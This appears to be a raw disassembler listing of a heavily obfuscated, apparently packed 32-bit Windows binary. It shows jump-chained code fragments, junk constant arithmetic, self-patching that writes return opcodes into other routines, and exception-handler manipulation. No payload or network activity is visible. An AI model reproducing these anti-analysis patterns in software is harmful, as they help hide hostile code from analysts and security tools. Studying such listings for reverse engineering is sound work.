; START	OF FUNCTION CHUNK FOR sub_44E1E7

loc_43EC48:				; CODE XREF: sub_44E1E7+14j
		jmp	sub_43F65B
; END OF FUNCTION CHUNK	FOR sub_44E1E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_43EC4D:				; CODE XREF: sub_43B1D6+D4F1j
		jmp	loc_43878B
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------

loc_43EC52:				; CODE XREF: kgbikm34:00446B91j
					; kgbikm34:00447C74j
		jmp	loc_43B6CD
; ---------------------------------------------------------------------------

loc_43EC57:				; CODE XREF: kgbikm34:0043B3FBj
		jmp	locret_43D6CD
; ---------------------------------------------------------------------------
		sbb	edi, 78595B11h
		and	edx, esi
		jmp	loc_44C0C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DC12

loc_43EC69:				; CODE XREF: sub_44DC12-140C2j
		pop	ebx
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_43FD86
		push	0B6612F68h
		pop	eax
		xor	eax, 6F40A955h
		add	eax, 9401498Fh
		jmp	loc_44CE0A
; END OF FUNCTION CHUNK	FOR sub_44DC12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_43EC8A:				; CODE XREF: sub_44DB6E:loc_44993Aj
					; sub_43BCAD:loc_44BF6Cj
		mov	eax, [ebp-14h]
		mov	eax, [eax+20h]
		add	eax, [ebp-4]
		push	offset loc_43DA86
		jmp	nullsub_190
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_43EC9D:				; CODE XREF: sub_439609:loc_448B0Bj
		or	eax, eax
		call	sub_4414DB

loc_43ECA4:				; CODE XREF: sub_4397FF+7CACj
		jmp	loc_44857E
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
		and	edi, 8EEF437Dh
		jmp	loc_44828B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_43ECB4:				; CODE XREF: sub_43DF5B:loc_43AE6Fj
					; sub_43D494:loc_44866Ej
		pop	eax
		or	eax, 32EEBC92h
		cmp	eax, 5BC845E8h
		jmp	loc_440534
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_43ECC6:				; CODE XREF: sub_4474D5-D06Bj
		pop	ecx
		mov	eax, ds:dword_446C50
		or	eax, eax
		jnz	loc_44CE83
		jmp	loc_442D63
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F145

loc_43ECDA:				; CODE XREF: sub_43F145+6EFj
		or	eax, 0A8E7418Ah

loc_43ECE0:				; CODE XREF: sub_43F145:loc_43F82Cj
		add	esi, 1760C264h
		mov	[esi], eax
		pop	esi
		lea	eax, sub_43F6D0
		mov	byte ptr [eax],	0C3h
		jmp	loc_448096
; END OF FUNCTION CHUNK	FOR sub_43F145
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B34A

loc_43ECF7:				; CODE XREF: sub_44B34A:loc_441670j
		mov	ds:off_41E158, eax
		lea	eax, sub_44BB9F
		mov	byte ptr [eax],	0C3h
		jmp	loc_4374A7
; END OF FUNCTION CHUNK	FOR sub_44B34A

; =============== S U B	R O U T	I N E =======================================



sub_43ED0B	proc near		; CODE XREF: sub_410030+247p
					; sub_410030+2A2p ...
		call	sub_43ED16
		jmp	ds:off_41E15C
sub_43ED0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_43ED16	proc near		; CODE XREF: sub_43775A+Dj
					; kgbikm34:loc_437904j	...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00441A88 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00442793 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004428A1 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044D677 SIZE 0000000E BYTES

		jnz	loc_441A88
		jmp	loc_44D677
sub_43ED16	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43ED21	proc near		; DATA XREF: sub_44863B+2o

var_4		= dword	ptr -4

		add	eax, 7549C5BEh
		push	esi
		mov	esi, eax
		xchg	esi, [esp+4+var_4]
		push	offset sub_442A94
		jmp	nullsub_315
sub_43ED21	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DE4C

loc_43ED37:				; CODE XREF: sub_44DE4C-138DCj
		xchg	esi, [esp+0]
		jmp	loc_44A022
; END OF FUNCTION CHUNK	FOR sub_44DE4C
; ---------------------------------------------------------------------------
		sbb	edx, 8921F083h
		jmp	sub_44157D
; ---------------------------------------------------------------------------

locret_43ED4A:				; CODE XREF: kgbikm34:0044CAA0j
		retn
; ---------------------------------------------------------------------------

loc_43ED4B:				; CODE XREF: kgbikm34:0044A4BFj
		jmp	loc_4404EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437613

loc_43ED50:				; CODE XREF: sub_437613:loc_43AFDEj
		jmp	nullsub_366
; END OF FUNCTION CHUNK	FOR sub_437613
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_346. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FC25

loc_43ED56:				; CODE XREF: sub_43FC25+BF12j
		jmp	loc_445868
; END OF FUNCTION CHUNK	FOR sub_43FC25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439154

loc_43ED5B:				; CODE XREF: sub_439154+8FDFj
		jmp	nullsub_328
; END OF FUNCTION CHUNK	FOR sub_439154
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_280. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43ED61:				; CODE XREF: kgbikm34:0043AD32j
		jmp	loc_44541C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_43ED66:				; CODE XREF: sub_43741E+9860j
		jnz	loc_43C8A6
		jmp	loc_4373B7
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_43ED71:				; CODE XREF: sub_446F79-B5F7j
					; sub_446F79:loc_443289j
		call	sub_43DD64
		ror	ecx, 7
		adc	ecx, edi
		jmp	sub_43F4A6
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------

loc_43ED80:				; CODE XREF: kgbikm34:0043BBC4j
		and	esi, 56717DEh
		jnz	loc_44CED2
; START	OF FUNCTION CHUNK FOR sub_4471ED

loc_43ED8C:				; CODE XREF: sub_4471ED+3j
		jmp	nullsub_320
; END OF FUNCTION CHUNK	FOR sub_4471ED
; ---------------------------------------------------------------------------
		shl	esi, 18h
		or	ecx, eax
		mov	[eax], ebx
		jmp	loc_44CED2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_139. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443622

loc_43ED9E:				; CODE XREF: sub_443622+3Dj
		jmp	loc_43888F
; END OF FUNCTION CHUNK	FOR sub_443622
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CA80

loc_43EDA3:				; CODE XREF: sub_43CA80+14j
		xchg	esi, [esp+0]
		call	sub_442798
		pop	edx
		push	eax
		mov	edx, 0FFFFFFFFh
		push	eax
		mov	eax, edx
		jmp	loc_4418A1
; END OF FUNCTION CHUNK	FOR sub_43CA80
; ---------------------------------------------------------------------------

loc_43EDBA:				; CODE XREF: kgbikm34:004435BCj
		pop	ebx
		xchg	ecx, [edx]

loc_43EDBD:				; CODE XREF: kgbikm34:loc_4435B4j
		add	ebx, 28F916CCh
		xchg	ebx, [esp]
		jmp	sub_4400C7
; ---------------------------------------------------------------------------

loc_43EDCB:				; CODE XREF: kgbikm34:0043F87Dj
		xor	edx, 87874B04h
		sbb	edi, 0E931E400h
		shl	edx, 1
		or	ecx, 0E23782D0h
; START	OF FUNCTION CHUNK FOR sub_44B6F1

loc_43EDDF:				; CODE XREF: sub_44B6F1-BE89j
		add	edi, 381EF3C3h
		jmp	loc_43AEF3
; END OF FUNCTION CHUNK	FOR sub_44B6F1

; =============== S U B	R O U T	I N E =======================================



sub_43EDEA	proc near		; CODE XREF: sub_44C093:loc_43BD0Cp
					; kgbikm34:0043F034j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00441F35 SIZE 0000000E BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	eax
		push	78AB53DFh
		xchg	esi, [esp+4+var_4]
		mov	eax, esi
		pop	esi
		or	eax, 0DB65DA82h
		jmp	loc_441F35
sub_43EDEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_43EE05	proc near		; DATA XREF: kgbikm34:0043D513o

; FUNCTION CHUNK AT 00438BDF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044DD34 SIZE 00000005 BYTES

		xchg	ebp, [esp+0]
		push	831C862Fh
		pop	edx
		rol	edx, 11h
		or	edx, 0F041C180h
		rol	edx, 1Eh
		jmp	loc_44DD34
sub_43EE05	endp

; ---------------------------------------------------------------------------

loc_43EE1F:				; CODE XREF: kgbikm34:004443D5j
		or	edx, 1BABD19Bh
		add	edx, 64990518h
		popf
		xchg	edx, [esp]
		jmp	loc_441978
; ---------------------------------------------------------------------------

loc_43EE34:				; DATA XREF: sub_4436D8-516Fo
		push	ecx
; START	OF FUNCTION CHUNK FOR sub_444D26

loc_43EE35:				; CODE XREF: sub_444D26:loc_448817j
		push	8D5D0E4h
		pop	ecx
		rol	ecx, 15h
		sub	ecx, 64F71259h
		xor	ecx, 1FE17EFDh
		push	offset sub_44D07C
		jmp	nullsub_201
; END OF FUNCTION CHUNK	FOR sub_444D26
; ---------------------------------------------------------------------------

loc_43EE54:				; CODE XREF: kgbikm34:0043A8FBj
					; kgbikm34:loc_444B96j
		pop	large dword ptr	fs:0
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_43EE5F:				; CODE XREF: sub_4394EB+6E55j
		jmp	loc_43B1AE
; END OF FUNCTION CHUNK	FOR sub_4394EB

; =============== S U B	R O U T	I N E =======================================



sub_43EE64	proc near		; CODE XREF: sub_43CECDp

; FUNCTION CHUNK AT 00449E71 SIZE 0000000A BYTES

		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	eax, [eax]
		jmp	loc_449E71
sub_43EE64	endp

; ---------------------------------------------------------------------------
		jnb	loc_449460
		jmp	loc_43B55A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_43EE84:				; CODE XREF: sub_43B0B7:loc_43E30Ej
		jo	loc_43F23B
		jmp	loc_445A6F
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------
		mov	ds:off_41E164, eax
		lea	eax, loc_4443E0
		mov	byte ptr [eax],	0C3h
		jmp	loc_448740
; ---------------------------------------------------------------------------
		call	nullsub_11
		jmp	loc_448E88
; ---------------------------------------------------------------------------

locret_43EEAD:				; CODE XREF: kgbikm34:0044D1F1j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_43EEAE:				; CODE XREF: kgbikm34:00443152j
					; sub_449D78:loc_4494D7j
		add	esi, 4045D762h
		mov	[esi], eax
		pop	esi
		jmp	loc_437632
; END OF FUNCTION CHUNK	FOR sub_449D78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_43EEBC:				; CODE XREF: sub_441D2Fj
		push	offset loc_445C79
		jmp	nullsub_47
; END OF FUNCTION CHUNK	FOR sub_441D2F
; ---------------------------------------------------------------------------

loc_43EEC6:				; CODE XREF: kgbikm34:0044481Bj
		jge	loc_44AB6F
		test	edx, 7E5A5D14h
		jmp	loc_43C6A7
; ---------------------------------------------------------------------------

locret_43EED7:				; CODE XREF: kgbikm34:loc_443529j
		retn
; ---------------------------------------------------------------------------

loc_43EED8:				; CODE XREF: kgbikm34:0044D438j
		jmp	locret_440A13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_43EEDD:				; CODE XREF: sub_44B20C:loc_449648j
		mov	eax, [ebp-4]
		mov	al, [eax]
		jns	loc_43D9E0
		sub	al, 99h
		push	93B1C1ECh
		jmp	loc_4370C7
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A4BD

loc_43EEF4:				; CODE XREF: sub_43A4BD+Cj
		push	35FB00E0h
		pop	eax
		or	eax, 2B3D790Dh
		xor	eax, 843E6835h
		rol	eax, 16h
		add	eax, 2522A26Eh
		add	eax, ebp
		jmp	loc_449731
; END OF FUNCTION CHUNK	FOR sub_43A4BD
; ---------------------------------------------------------------------------
		cmp	edi, 25C4B57Ah
		jmp	loc_44B908
; ---------------------------------------------------------------------------
		mov	ebx, 4ABA4436h
		jmp	sub_44ABBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438AFB

loc_43EF2B:				; CODE XREF: sub_438AFB:loc_43F0B9j
		mov	[esi], eax
		pop	esi
		lea	eax, nullsub_20
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_20
; END OF FUNCTION CHUNK	FOR sub_438AFB

; =============== S U B	R O U T	I N E =======================================



sub_43EF3C	proc near		; CODE XREF: sub_416217+2A6p
					; sub_416217+318p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439BCA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00444E5F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004469FC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C210 SIZE 00000024 BYTES

		push	eax
		push	11CF0A55h
		jmp	loc_44C210
sub_43EF3C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_107. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F039

loc_43EF48:				; CODE XREF: sub_43F039+6E0Dj
		jmp	loc_444748
; END OF FUNCTION CHUNK	FOR sub_43F039
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442340

loc_43EF4D:				; CODE XREF: sub_442340-8881j
		jmp	nullsub_275
; END OF FUNCTION CHUNK	FOR sub_442340
; ---------------------------------------------------------------------------

loc_43EF52:				; CODE XREF: kgbikm34:0043978Fj
		jmp	sub_43BF6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_43EF57:				; CODE XREF: sub_441D2F:loc_43BF14j
		push	1D8CEF47h
		pop	edx
		xor	edx, 0C0FED6EBh
		sub	edx, 8FB4E47Ch
		jmp	loc_44668F
; END OF FUNCTION CHUNK	FOR sub_441D2F
; ---------------------------------------------------------------------------

loc_43EF6E:				; CODE XREF: kgbikm34:00449272j
		jg	loc_43F2EA
; START	OF FUNCTION CHUNK FOR sub_4390CF

loc_43EF74:				; CODE XREF: sub_4390CF:loc_44A889j
		or	ecx, 89F96F56h
		xor	ecx, 2772C408h
		add	ecx, 5286CA00h
		jmp	loc_443225
; END OF FUNCTION CHUNK	FOR sub_4390CF

; =============== S U B	R O U T	I N E =======================================



sub_43EF8B	proc near		; CODE XREF: kgbikm34:0044DC38p
					; kgbikm34:0044DF4Dj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00441A5E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004480AA SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	ecx, [esp-4+arg_0]
		mov	edx, ecx
		pop	ecx
		or	edx, 14E246F7h
		rol	edx, 7
		add	edx, 5D2E533Eh
		jmp	loc_4480AA
sub_43EF8B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DE70

loc_43EFA9:				; CODE XREF: sub_44DE70:loc_44B52Cj
		mov	byte ptr [eax],	0
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_44DE70
; ---------------------------------------------------------------------------

loc_43EFB0:				; CODE XREF: kgbikm34:00446ECEj
		jmp	loc_444CAE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DE70

loc_43EFB5:				; CODE XREF: sub_44DE70-14E5j
					; sub_44DE70+Cj
		mov	eax, [ebp-4]
		mov	al, [eax]
		push	offset sub_439924
		jmp	loc_4496A4
; END OF FUNCTION CHUNK	FOR sub_44DE70
; ---------------------------------------------------------------------------
		mov	ds:dword_41E088, eax
		lea	eax, nullsub_282
		mov	byte ptr [eax],	0C3h
		jmp	loc_446875

; =============== S U B	R O U T	I N E =======================================



sub_43EFD8	proc near		; CODE XREF: sub_407FA4+20p
					; sub_40819D+42p ...
		call	sub_43EFE3
		jmp	ds:off_41E08C
sub_43EFD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_43EFE3	proc near		; CODE XREF: sub_43EFD8p
					; sub_44CA1A:loc_4402BFj ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043791F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437937 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A032 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043DBCD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00445412 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00445C3D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446344 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044AFE9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D2E5 SIZE 0000001F BYTES

		xchg	ecx, [esp+0]
		jmp	loc_43DBCD
sub_43EFE3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43EFEB:				; CODE XREF: kgbikm34:0043BB18j
		mov	ecx, eax
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_43EFED:				; CODE XREF: sub_43E4C0:loc_43BB0Bj
		add	edx, 0B4951783h
		popf
		xchg	edx, [esp+4+var_4]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44772C

loc_43EFFC:				; CODE XREF: sub_44772C:loc_44C281j
		jl	loc_43CBD8

loc_43F002:				; CODE XREF: kgbikm34:0044A4A7j
		jmp	nullsub_197
; END OF FUNCTION CHUNK	FOR sub_44772C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445E00

loc_43F007:				; CODE XREF: sub_445E00-5B85j
		jmp	loc_43718F
; END OF FUNCTION CHUNK	FOR sub_445E00
; ---------------------------------------------------------------------------
		not	ebx
		push	esi
		jmp	loc_43CBD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ADC2

loc_43F014:				; CODE XREF: sub_44ADC2:loc_439C6Bj
		mov	[esi], eax
		pop	esi
		lea	eax, sub_438B99
		mov	byte ptr [eax],	0C3h
		jmp	loc_445FA5
; END OF FUNCTION CHUNK	FOR sub_44ADC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B99

loc_43F025:				; CODE XREF: sub_438B99j
		call	sub_43C332

loc_43F02A:				; CODE XREF: sub_43A77E+Dj
		jmp	loc_43C249
; END OF FUNCTION CHUNK	FOR sub_438B99
; ---------------------------------------------------------------------------
		sbb	edx, ecx
		ror	ecx, 1Eh
		jmp	sub_43EDEA

; =============== S U B	R O U T	I N E =======================================



sub_43F039	proc near		; CODE XREF: sub_43ED16+3BA2j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437A82 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043AA59 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043BFC4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043E9E5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EF48 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440938 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00441479 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00441681 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004437BA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00444748 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00444F24 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00445E2F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00449E60 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044A070 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DC86 SIZE 00000005 BYTES

		push	ebx
		push	0A397E297h
		pop	ebx
		rol	ebx, 9
		and	ebx, 5E59CB99h
		test	ebx, 200h
		jmp	loc_449E60
sub_43F039	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43F054:				; CODE XREF: kgbikm34:0043CA2Aj
		sub	eax, esi
		jle	loc_449E60

loc_43F05C:				; CODE XREF: kgbikm34:loc_43CA22j
		and	esi, 33E7675Ah
		sub	esi, 3E157E8h
		xor	esi, 1FAB7E79h
		jmp	loc_44492D
; ---------------------------------------------------------------------------

loc_43F073:				; CODE XREF: kgbikm34:loc_43E3DDj
		jmp	ds:off_41E154
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44262A

loc_43F079:				; CODE XREF: sub_44262A+17j
		jmp	loc_439FE9
; END OF FUNCTION CHUNK	FOR sub_44262A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB0F

loc_43F07E:				; CODE XREF: sub_43CB0F-E34j
					; sub_43E4C0:loc_443200j ...
		xchg	ebp, [esp+4+var_4]
		mov	edx, ebp
		pop	ebp
		jnz	loc_4490A3
		mov	eax, [esp+0]
		push	edx
		push	offset loc_4498DD
		jmp	nullsub_76
; END OF FUNCTION CHUNK	FOR sub_43CB0F
; ---------------------------------------------------------------------------
		jb	loc_44AB18
		test	esi, ecx
		jmp	loc_4464F6

; =============== S U B	R O U T	I N E =======================================



sub_43F0A5	proc near		; CODE XREF: sub_44ACF6+Fp
					; kgbikm34:0044C07Dj

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043C52E SIZE 0000000A BYTES

		xchg	eax, [esp+0]
		pop	eax
		xor	edi, 0B004422h
		popf
		xchg	edi, [esp-8+arg_4]
		jmp	loc_43C52E
sub_43F0A5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_43F0B8:				; CODE XREF: kgbikm34:loc_43FF7Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438AFB

loc_43F0B9:				; CODE XREF: sub_438AFB+Aj
		jmp	loc_43EF2B
; END OF FUNCTION CHUNK	FOR sub_438AFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D045

loc_43F0BE:				; CODE XREF: sub_43D045-36CDj
		xor	edx, 0B19743ABh
		cmp	esi, eax
		jmp	loc_442AA9
; END OF FUNCTION CHUNK	FOR sub_43D045
; ---------------------------------------------------------------------------

loc_43F0CB:				; CODE XREF: kgbikm34:00445964j
		cmp	ebx, 0DDBDE16Eh
		jmp	loc_44C0F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_43F0D6:				; CODE XREF: sub_44B20C-8F1Dj
		ja	nullsub_213
		xchg	esi, [edx]

loc_43F0DE:				; CODE XREF: sub_44B20C:loc_43CE4Bj
					; DATA XREF: sub_43A22B+102FAo
		push	7159F871h
		pop	eax
		sub	eax, 0E94496C8h
		jmp	loc_43F7E7
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_43F0F5:				; CODE XREF: sub_449F77+17B6j
		jmp	loc_44358F
; END OF FUNCTION CHUNK	FOR sub_449F77
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_361. PRESS KEYPAD	"+" TO EXPAND]
		db 84h
; ---------------------------------------------------------------------------
		pop	edx
		jno	short $+2
		add	[edx-75h], bl
		add	al, 24h
		push	esi
		mov	esi, edx
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_43F107:				; CODE XREF: sub_446F79:loc_44C3EAj
		jmp	loc_44830A
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_43F10C:				; CODE XREF: sub_449F77-497Cj
		mov	[edi], eax
		pop	edi
		call	sub_443949

loc_43F114:				; CODE XREF: sub_44A265+Aj
		jmp	loc_448A91
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D8F8

loc_43F119:				; CODE XREF: sub_44D8F8-88DBj
		or	edx, 861C5539h
		xor	edx, 0B7CBF87Fh
		or	edx, 863A3C4Dh
		add	edx, 9466797h
		xchg	edx, [esp+0]
		jmp	loc_4470EB
; END OF FUNCTION CHUNK	FOR sub_44D8F8

; =============== S U B	R O U T	I N E =======================================



sub_43F139	proc near		; DATA XREF: sub_43BCAD:loc_44CF63o

; FUNCTION CHUNK AT 0043F5A9 SIZE 00000005 BYTES

		add	eax, ebp
		push	offset sub_449F01
		jmp	loc_43F5A9
sub_43F139	endp


; =============== S U B	R O U T	I N E =======================================



sub_43F145	proc near		; DATA XREF: kgbikm34:0043A878o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437886 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004378AD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043933D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AD80 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C46B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043C54C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043ECDA SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043F82C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043FF27 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441993 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443B7A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00448096 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448567 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00448D21 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C373 SIZE 00000016 BYTES

		push	ecx
		push	0B2CBFB87h
		pop	ecx
		and	ecx, 43DF4992h
		jnz	loc_43C471
		xor	ebp, ebx
		jmp	loc_43AD80
sub_43F145	endp


; =============== S U B	R O U T	I N E =======================================



sub_43F15F	proc near		; DATA XREF: sub_44D21F-3650o
		add	esi, 2955D340h
		push	offset sub_44D829
		jmp	nullsub_357
sub_43F15F	endp

; ---------------------------------------------------------------------------
		mov	edx, esi
		pop	esi
		mov	eax, [esp]
		push	ebx
		mov	ebx, edx
		jmp	loc_448ADF
; ---------------------------------------------------------------------------

loc_43F17D:				; CODE XREF: kgbikm34:00449E88j
		mov	ebx, [edi]

loc_43F17F:				; CODE XREF: kgbikm34:loc_449E7Bj
		and	esi, 2EF78EF1h
		add	esi, 0FF9DDEDFh
		mov	[esi], eax
		pop	esi
		lea	eax, loc_442BA7
		mov	byte ptr [eax],	0C3h
		jmp	loc_442BA7
; ---------------------------------------------------------------------------
		push	edi
		jmp	loc_44BFDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442F09

loc_43F1A2:				; CODE XREF: sub_442F09:loc_446B37j
		call	sub_44BA42
		mov	eax, 0DA4431C0h
		call	sub_43BF6F
		push	esi
		jmp	loc_43B040
; END OF FUNCTION CHUNK	FOR sub_442F09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440141

loc_43F1B7:				; CODE XREF: sub_440141:loc_43C8EDj
		push	0FE1A9F42h
		pop	esi
		add	esi, 0F475B77Dh

loc_43F1C3:				; CODE XREF: kgbikm34:loc_44ADBCj
		rol	esi, 6
		add	esi, 1C8EAD4Ah
		add	eax, esi
		jmp	loc_438632
; END OF FUNCTION CHUNK	FOR sub_440141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4494B1

loc_43F1D3:				; CODE XREF: sub_4494B1:loc_43C59Ej
		mov	edx, [edx]
		push	offset loc_44742E
		jmp	loc_449282
; END OF FUNCTION CHUNK	FOR sub_4494B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_43F1DF:				; CODE XREF: sub_43E4C0:loc_43E4D4j
		jl	loc_441983

loc_43F1E5:				; CODE XREF: sub_442798+8BADj
		jmp	loc_43B9FC
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------

loc_43F1EA:				; CODE XREF: kgbikm34:0044545Fj
		jmp	loc_4371C7
; ---------------------------------------------------------------------------
		cmp	ecx, edi
		jmp	loc_44343F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439B82

loc_43F1F6:				; CODE XREF: sub_439B82:loc_44566Fj
		call	sub_440E3B

loc_43F1FB:				; CODE XREF: sub_443622-41F2j
		jmp	loc_446434
; END OF FUNCTION CHUNK	FOR sub_439B82

